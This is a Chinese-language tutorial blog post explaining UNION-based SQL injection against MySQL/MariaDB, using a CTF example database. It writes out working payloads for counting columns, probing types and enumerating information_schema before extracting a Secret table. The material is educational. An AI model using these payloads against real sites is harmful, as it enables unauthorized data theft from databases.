【第十天 - UNION型 SQL注入】

Q1. UNION 型 SQL 注入是什麽

  • SQL 语法中,有个 UNION 的关键字,可以使用它执行多个 SELECT

    • SELECT a FROM table1 UNION SELECT b FROM table2
    • 将会回传包含 table1 的 a 行 与 table2 的 b 行的值

    https://ithelp.ithome.com.tw/upload/images/20210924/201405928kzXIXR8NY.png

  • 由於 UNION 是将资料联集起来,需要满足两个条件才能使用

    • 前後的资料栏位数量必须相同,才能够合并。
    • 每一栏的资料类型必须兼容
      • 不可以某一栏只接受数字,但是你却尝试将字元型的也并入

参考资料:https://www.jianshu.com/p/7436b10ceb71

Q2. 如何确认资料栏位数量?

  • 假设原 SQL 中, SELECT 了三个栏位 (分别为 idaccountpassword)

https://ithelp.ithome.com.tw/upload/images/20210924/20140592kELLqTc9ck.png

  • 由於原SQL语法只有 SELECT 三个栏位,所以当骇客测试到 ORDER BY 4 就会回报错,骇客就可以得知原语法只有三个栏位
<原SQL语法> ORDER BY 1;
<原SQL语法> ORDER BY 2;
<原SQL语法> ORDER BY 3;
<原SQL语法> ORDER BY 4;

Q3. 如何确认资料类型?

https://ithelp.ithome.com.tw/upload/images/20210924/20140592TtVzdQhS0r.png

  • 目前已经得知 SELECT 三个栏位有3个,但是骇客不知道资料库每个栏位的资料类型 (大致可分为数字或字元)
  • 由於数字可以被资料库当作字元,字元不能被当作数字,所以我们使用一个字元 'a' 来对每个栏位进行测试
  • 当数据类型不相容,则会产生错误,若资料库中 id 栏位只接受数字,则在 SELECT 'a', NULL, NULL 指令中会显示错误
<原SQL语法> UNION SELECT 'a', NULL, NULL
<原SQL语法> UNION SELECT NULL, 'a', NULL
<原SQL语法> UNION SELECT NULL, NULL, 'a' 

Q4. 如何得知栏位名称?

  • 得知栏位数量、栏位类型,我们已经可以开始窃取资料。假设原 SQL 语法如下:

    SELECT `id`, `name`
    FROM `User`
    WHERE `id` = {id};
    
    • SELECT 的栏位数量为 2
    • 网页上只会显示 name 的资料

    则此时我们便可以构建 SQL 语法,使得想窃取的资料与 name 栏位联集,例如:

    SELECT `id`, `name`
    FROM `User`
    WHERE `id` = 0
    UNION SELECT NULL, `content`
    FROM `Secret`;
    
  • 然而我们还需知道资料库中的结构(准确的说,是需要知道名称,如上例中的 Secretcontent),方能构建正确的 SQL 语法。

  • 在 MySQL / MariaDB 中,预设会有一个 database 储存资料库的 schema 资料,称为 information_schema。其中:

    • information_schema.schemata :可以抓取 database 的名称。以下图为例,可以发现有 CTF 这个 database。

      https://ithelp.ithome.com.tw/upload/images/20210924/20140592kdtOAvpU3F.png

      • 利用 UNION,我们可以构建这样的 SQL 语法,取得资料库名称:
      <原SQL语法> 
      UNION SELECT NULL, `SCHEMA_NAME` 
      FROM `information_schema`.`schemata`;
      
    • information_schema.tables :此 table 中,储存了各个资料库的 table 资讯,因此可以从中抓 table 的名称。此例用 WHERETABLE_SCHEMA= 'CTF' 来筛选 database 为 CTF 的 table,可以发现有 UserSecret 两个 tables。

    • https://ithelp.ithome.com.tw/upload/images/20210924/20140592NFuHObQnrI.png

      • 利用 UNION,我们可以构建这样的 SQL 语法,取得资料表名称:
      <原SQL语法> 
      UNION SELECT NULL, `TABLE_NAME` 
      FROM `information_schema`.`tables` 
      WHERE `TABLE_SCHEMA` = 'CTF';
      
    • information_schema.columns :可以抓取 column 的名称。此例沿用上例中发现的 Secret Table 进行筛选,可以发现有 content 这个栏位。

    https://ithelp.ithome.com.tw/upload/images/20210924/20140592Gy6hBMozhq.png

    • 利用 UNION,我们可以构建这样的 SQL 语法,取得 column 名称:
    <原SQL语法> 
    UNION SELECT NULL, `COLUMN_NAME`
    FROM `information_schema`.`columns`
    WHERE `TABLE_SCHEMA` = 'CTF'
        AND `TABLE_NAME` = 'Secret';
    
  • 有了上述资料,便可以了解资料库中的结构,接着便可以利用 UNION 来将任意资料窃取出来。

    <原SQL语法> 
    UNION SELECT NULL, `content`
    FROM `Secret`;
    

<<:  D24 - 如何用 Apps Script 自动化地创造与客制 Google Sheet?(ㄧ)自动化创造图表并放到报告中

>>:  [ Day10] Web 小复习

DAY22-JAVA的package

当一个大型程序交由数个不同专员开发时,用到相同的类别名称是很有可能的,当这种情况发生时,为了确保程序...

JavaScript变数

变数(Variable)在JavaScript语言中扮演了重要的资料存放角色。JavaScript变...

[第十八只羊] 迷雾森林舞会XII Hotwire 101

天亮了 昨晚是平安夜 关於迷雾森林故事 大风大浪 画面恢复正常後 大家打理着全身湿透的毛 甩了甩头 ...

D24 - 彭彭的课程# Python 网路连线程序、公开资料串接(2)

好的今天要开始来底霸个了QQ 昨天发生了第一个问题看一个实在是问号 昨天看了error code大概...

菁英软件工程师 #体验, 软件服务是这麽诞生的!

CMoney的日子在周五画上了休止符,尽管最後一个多月的时间遇到了防疫升级,采线上的方式进行,甚至和...